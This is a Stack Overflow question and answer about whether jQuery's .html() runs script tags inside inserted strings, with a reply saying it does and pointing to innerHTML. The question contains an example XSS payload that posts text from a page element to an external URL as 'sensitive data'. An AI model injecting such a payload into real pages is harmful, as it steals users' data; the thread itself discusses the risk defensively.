2

Possible Duplicate:
html() vs innerHTML jquery/javascript & XSS attacks

Is jQuery.html() dangerous?

$("#id").html("<span>"+ variable + "</span>");

Like in the example above, if variable would have the following value:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {} ) </script>"

Would the script be executed? If so is there any way to allow variable to contain normal html tags but not scripts?

Edit: Added script tag to the string

Community
  • 1
  • 1
Hoffmann
  • 14,369
  • 16
  • 76
  • 91
  • 1
    `$.html()` does not perform an `eval`. The `eval` would be required to trigger the script execution. – Ohgodwhy Aug 17 '12 at 16:51
  • 1
    @Ohgodwhy You are dead wrong. This is trivially easy to test. Open your developer console and execute `$('body div:last').html($(""));` – user229044 Aug 17 '12 at 17:01

1 Answers1

4

Yes, that script will be executed.

http://jsfiddle.net/9ybUJ/2/

The .html() implicitly looks out for any script elements and evals them. This is opposite of .innerHTML which never executes scripts inside the html.

Esailija
  • 138,174
  • 23
  • 272
  • 326
  • Alright, but how do I prevent scripts from being executed? You mean .innerHTML the actual dom property? so $(element).attr("innerHTML", variable) ? – Hoffmann Aug 17 '12 at 17:28
  • @Hoffmann I mean the property. `$(element).prop("innerHTML", html)` or `element.innerHTML = html` – Esailija Aug 17 '12 at 18:03